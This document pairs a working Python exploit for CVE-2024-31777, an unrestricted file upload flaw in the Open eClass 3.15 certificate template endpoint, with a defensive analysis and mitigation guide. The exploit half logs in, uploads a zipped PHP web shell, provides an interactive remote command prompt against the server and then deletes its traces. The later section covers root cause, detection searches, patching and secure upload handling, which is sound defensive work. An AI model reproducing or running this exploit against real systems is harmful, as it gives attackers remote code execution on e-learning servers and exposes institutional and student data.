GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload
# Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload
# Date: 2024-02-04
# Exploit Author: Georgios Tsimpidas
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/3.15/
# Version: 3.15 (2024)
# Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1)
# CVE : CVE-2024-31777
# GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File
import requests
import argparse
import zipfile
import os
import sys
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RESET = '\033[0m'
ORANGE = '\033[38;5;208m'
MALICIOUS_PAYLOAD = """\
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
"""
def banner():
print(f'''{RED}
{YELLOW}
============================ Author: Frey ============================
{RESET}''')
def execute_command(openeclass, filename):
while True:
# Prompt for user input with "eclass"
cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")
# Check if the command is 'quit', then break the loop
if cmd.lower() == "quit":
print(f"{ORANGE}\nExiting...{RESET}")
clean_server(openeclass)
sys.exit()
# Construct the URL with the user-provided command
url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}"
# Execute the GET request
try:
response = requests.get(url)
# Check if the request was successful
if response.status_code == 200:
# Print the response text
print(f"{GREEN}{response.text}{RESET}")
except requests.exceptions.RequestException as e:
# Print any error that occurs during the request
print(f"{RED}An error occurred: {e}{RESET}")
def upload_web_shell(openeclass, username, password):
login_url = f'{openeclass}/?login_page=1'
login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
# Login credentials
payload = {
'next': '/main/portfolio.php',
'uname': f'{username}',
'pass': f'{password}',
'submit': 'Enter'
}
headers = {
'Referer': login_page_url,
}
# Use a session to ensure cookies are handled correctly
with requests.Session() as session:
# (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
session.get(login_page_url)
# Post the login credentials
response = session.post(login_url, headers=headers, data=payload)
# Create a zip file containing the malicious payload
zip_file_path = 'malicious_payload.zip'
with zipfile.ZipFile(zip_file_path, 'w') as zipf:
zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
# Upload the zip file
url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert'
files = {
'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'),
'certhtmlfile': (None, ''),
'orientation': (None, 'L'),
'description': (None, ''),
'cert_id': (None, ''),
'submit_cert_template': (None, '')
}
response = session.post(url, files=files)
# Clean up the zip file
os.remove(zip_file_path)
# Check if the upload was successful
if response.status_code == 200:
print(f"{GREEN}Payload uploaded successfully!{RESET}")
return True
else:
print(f"{RED}Failed to upload payload. Exiting...{RESET}")
return False
def clean_server(openeclass):
print(f"{ORANGE}Cleaning server...{RESET}")
# Remove the uploaded files
requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip")
requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php")
print(f"{GREEN}Server cleaned successfully!{RESET}")
def main():
parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution")
parser.add_argument('-u', '--username', required=True, help="Username for login")
parser.add_argument('-p', '--password', required=True, help="Password for login")
parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")
args = parser.parse_args()
banner()
# Running the main login and execute command function
if upload_web_shell(args.eclass, args.username, args.password):
execute_command(args.eclass, 'evil.php')
if __name__ == "__main__":
main() GUnet OpenEclass 3.15 — CVE-2024-31777: Unrestricted File Upload in certbadge.php (Analysis & Mitigation)
Summary
CVE-2024-31777 identifies an unrestricted file upload vulnerability in the Open eClass e‑learning platform (reported in versions up to 3.15). The root cause is insufficient validation and unsafe handling of uploaded archives and files in the certificate template endpoint, which can allow an attacker who can upload files to place executable content under a web‑accessible directory, potentially resulting in remote code execution (RCE) and server compromise.
Key facts
- Product: Open eClass (GUnet)
- Affected version: 3.15 and earlier (as reported)
- CVE: CVE-2024-31777
- Impact: Arbitrary file placement in web root leading to potential remote code execution, data exposure, and privilege escalation
- Exploitability: Requires the ability to log in and upload files (privilege requirement may vary by deployment and configuration)
What caused the vulnerability (technical root cause)
The underlying causes commonly observed in unrestricted file upload issues include:
- Relying only on filename extensions (client‑supplied) instead of verified content/type checks.
- Accepting archive uploads without inspecting or sanitizing their contents prior to extraction.
- Extracting uploaded archive members directly into a web‑accessible directory (e.g., cert_templates) or preserving attacker‑controlled filenames.
- Insufficient access control — allowing users with upload rights to place files where they can be directly requested and executed by the webserver.
Potential impact
If an attacker can place a server‑interpretable file (for example, a PHP file) under a web‑accessible path, they can execute arbitrary code as the webserver user. This can lead to data theft, backdoor persistence, pivoting, credential discovery, and complete host compromise. The level of impact depends on hosting privileges, available services, and server configuration.
Detection and indicators of compromise (IoCs)
Administrators should look for unexpected artifacts and anomalous traffic patterns. Examples of useful checks:
- New or unexpected files in certificate template directories or other upload locations (especially files with executable extensions such as .php, .phtml, .php5).
- HTTP requests to newly created files in upload directories; suspicious query parameters sent to files that normally never receive parameters.
- Upload activity by non‑administrative or unusual accounts or from unusual IP addresses.
- Unusual process or network activity on the host following an upload event.
Example (search patterns — tune to your environment):
# Non-actionable, defensive search examples (conceptual)
grep -R --include="*.php" "eClass" /var/www/openeclass/courses/user_progress_data/cert_templates/
# or search webserver logs for GETs to upload directories
awk '/cert_templates/ && /\.php/ {print $0}' /var/log/apache2/access.log
The snippet above shows conceptual searches for PHP files in the certificate template folder and for corresponding web requests in access logs. These are intended to help defenders locate suspicious artifacts.
Immediate remediation steps (for administrators)
- Apply the vendor patch or upgrade to the fixed Open eClass release. Vendor fixes for this CVE are the primary remediation.
- If patching is not immediately possible:
- Temporarily disable file upload functionality or limit uploads to trusted administrators only.
- Restrict webserver access to upload directories (deny direct execution) via webserver configuration (e.g., disable PHP execution in upload directories using server configuration or .htaccess).
- Implement web application firewall (WAF) rules to block requests that attempt to execute uploaded files or access upload directories directly.
- Audit and remove suspicious files from web‑accessible upload directories and rotate credentials for administrator accounts if compromise is suspected.
- Review logs for signs of exploitation and consider performing a host forensic analysis if suspicious activity is observed.
Long‑term hardening and secure development guidance
Developers and administrators should implement defense‑in‑depth controls for handling user uploads. The following best practices reduce the risk of file upload vulnerabilities:
- Whitelist allowed file types by both extension and verified MIME/content inspection. Do not rely solely on the file extension.
- Store uploaded files outside the webroot and serve them through a controlled handler that enforces access checks and content sanitization.
- Sanitize filenames and generate server‑side random names or UUIDs to avoid path traversal and predictable names.
- Reject archives that contain executable file types (e.g., .php, .phtml, .exe) before extraction. Inspect archive members before extracting and disallow dangerous names or paths (e.g., ../ sequences).
- Set strict filesystem permissions and ensure uploaded files are not executable by the webserver.
- Use secure libraries for archive handling and validate extracted contents against a deny/allow list.
- Limit who can upload (principle of least privilege) and add rate limiting and additional authentication for sensitive operations.
Secure upload pattern — example (PHP) and explanation
Below is a defensive, non‑exploitable example that illustrates secure upload handling patterns. This example validates file type, stores files outside of the webroot, rejects archives containing disallowed members, and uses safe filenames. It is intended for educational purposes and must be adapted to your application's context and tested thoroughly.
// Defensive pseudo-code (PHP-like, conceptual)
$allowed_extensions = ['jpg','png','pdf','svg']; // example whitelist
$upload_dir = '/var/www/uploads/secure/'; // outside public webroot
$max_size = 5 * 1024 * 1024; // 5 MB limit
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
$origName = basename($_FILES['file']['name']);
$ext = strtolower(pathinfo($origName, PATHINFO_EXTENSION));
$mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $_FILES['file']['tmp_name']);
// Check extension and MIME type
if (!in_array($ext, $allowed_extensions)) {
throw new Exception('Disallowed file extension.');
}
if (!validate_mime_extension_pair($mime, $ext)) {
throw new Exception('MIME type mismatch.');
}
// Enforce size limit
if ($_FILES['file']['size'] > $max_size) {
throw new Exception('File too large.');
}
// Generate a secure filename (UUID or random bytes)
$safeName = bin2hex(random_bytes(16)) . '.' . $ext;
$destination = $upload_dir . $safeName;
// Move file outside webroot
move_uploaded_file($_FILES['file']['tmp_name'], $destination);
}
Explanation: This example enforces an extension whitelist, validates MIME type with a server side check, enforces a size limit, and stores a renaming result outside the public webroot. The key idea is to avoid saving user content in an executable location or with user‑controlled names.
Handling archives safely (conceptual guidance)
- Before extracting an archive (ZIP, TAR), open it in a controlled context and inspect each member's filename and extension.
- Reject archives that contain files with disallowed extensions (for example, server‑side script extensions such as .php, .pl, .jsp) or suspicious file paths (../, absolute paths).
- Extract only allowed file types and store them outside webroot with safe server‑generated filenames.
// Conceptual archive handling flow (non-executable outline)
open archive
for each member in archive:
if member_has_path_traversal(member.name) or member_extension_disallowed(member.name):
reject archive
else:
extract member to non-public directory with safe name
close archive
Implementations should use well‑maintained libraries for archive handling and include thorough unit and integration tests covering edge cases.
Detection rules and monitoring recommendations
Deploy monitoring that looks for indicators described earlier and create alerts for:
- New file creation events in upload directories (especially executable extensions).
- Unusual HTTP GET/POST patterns targeting upload endpoints.
- Execution or spawning of unexpected processes on web hosts shortly after upload events.
Recommended administrative checklist
| Task | Priority |
|---|---|
| Apply vendor patch / upgrade to fixed Open eClass version | High |
| Audit upload directories for unknown or executable files | High |
| Rotate credentials and review admin accounts | High |
| Disable PHP execution in upload folders via webserver config | Medium |
| Implement whitelist checks and store uploads out of webroot | Medium |
| Deploy logging and monitor for upload-related anomalies | Medium |
Responsible disclosure and next steps
If you maintain Open eClass instances, treat this vulnerability as high priority. Follow the vendor's guidance and apply official updates. If you are a developer or integrator, adopt the secure upload patterns described and ensure code reviews include file upload threat modeling. If you suspect compromise, perform a full incident response, including log preservation, file integrity checks, and host forensic analysis.
References and further reading (defensive)
- Secure file upload best practices — OWASP guidance
- Principles for safe archive handling and sandboxing uploaded content
- Webserver configuration patterns to disable script execution in upload directories